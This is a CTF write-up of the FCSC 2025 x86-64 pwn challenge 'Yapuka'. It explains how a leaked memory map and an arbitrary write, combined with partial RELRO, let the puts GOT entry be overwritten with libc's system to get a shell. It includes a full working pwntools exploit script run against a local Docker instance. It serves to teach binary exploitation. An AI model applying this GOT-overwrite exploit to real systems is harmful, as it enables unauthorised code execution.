Yapuka#

Yapuka is an intro x86/64 pwn challenge from FCSC 2025 that can be found on LINK. We are provided with precompiled binary, libc and ld as well as docker file to run the challenge. It is a Linux x86-64 ELF file.

yapuka: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ae21e8b1c9acd3cdb818199562c01f6d86f61c9c, for GNU/Linux 3.2.0, not stripped

Running this binary file will give us some interesting output: Screenshot of binary output

It appears that the binary is printing for us its memory map then asking to specify address and what we want to write. In other words, we have a write-what-where or arbitrary write given on a plate to us!

But how can we use it? For that let’s take a look at the decompilation in Ghidra: Screenshot of ghidra decompilation There is a very suspicious line in code (marked in red)

puts("/bin/sh");

This is actually very close to what we would ideally want to do - call ‘system’ to get a shell.

system("/bin/sh");

To achieve it, let’s look at Checksec output first: Screenshot of checksec output

There is only partial relro, which means we can override anything in GOT to call system instead of puts (or anything else that we need actually)! If that leap in logic was too much, then you can read more on the linking process here and here, focus on GOT and PLT.

Our plan of action is as follows:

  • Send the binary address where we want to write - GOT address of ‘puts’ entry
  • Send the binary what we want to write - ‘system’ function address inside libc

Since binary is position independent, we would need to calculate the addresses at runtime. But the binary prints its memory to map to make it easier. All we then need to do is parse it and add relevant offsets to get the values that we need. It is fairly straightforward:

p.recvline() # skip over first line
base_addr = p.recv(12) # This line contains memory base of our binary, get 6 bytes (12 characters)
base_addr = int(base_addr, 16)
log.info("Base address of the binary is: " + hex(base_addr))
puts_got_addr = base_addr + context.binary.got['puts']
log.info("Puts is at : " + hex(puts_got_addr))

We parse the output from the binary and read the characters that correspond to binary base address, ‘puts_got_addr’ variable then holds address of ‘puts’ GOT entry that we aim to override. Now to get ‘system’ address in similar manner:

# skip some lines to get to libc entries
for i in range(6):
    p.recvline()

libc_base_addr = p.recv(12) # This line contains memory base of libc, get 6 bytes (12 characters)
libc_base_addr = int(libc_base_addr, 16)
log.info("Base address of the libc is: " + hex(libc_base_addr))
system_addr = libc_base_addr + libc_elf.symbols['__libc_system']
log.info("\'system\' function is at : " + hex(system_addr))

Finally we execute it by sending these addresses to binary

p.sendline(str(puts_got_addr))
p.sendline(str(system_addr))

To launch the challenge use

sudo docker compose up

in a folder containing docker-compose.yml file.

And we get out shell! Final output

Full pwntool script used:

from pwn import *


context.binary = ELF('./yapuka')
p = remote('localhost', 4000)
libc_path = './libc-2.36.so'
libc_elf = ELF(libc_path)

p.recvline() # skip over first line
base_addr = p.recv(12) # This line contains memory base of our binary, get 6 bytes (12 characters)
base_addr = int(base_addr, 16)
log.info("Base address of the binary is: " +  hex(base_addr))
puts_got_addr = base_addr + context.binary.got['puts']
log.info("\'puts\' GOT entry is at : " + hex(puts_got_addr))

# skip some lines to get to libc entries
for i in range(6):
    p.recvline()

libc_base_addr = p.recv(12) # This line contains memory base of libc, get 6 bytes (12 characters)
libc_base_addr = int(libc_base_addr, 16)
log.info("Base address of the libc is: " + hex(libc_base_addr))
system_addr = libc_base_addr + libc_elf.symbols['__libc_system']
log.info("\'system\' function is at : " + hex(system_addr))
p.sendline(str(puts_got_addr))
p.sendline(str(system_addr))
p.interactive()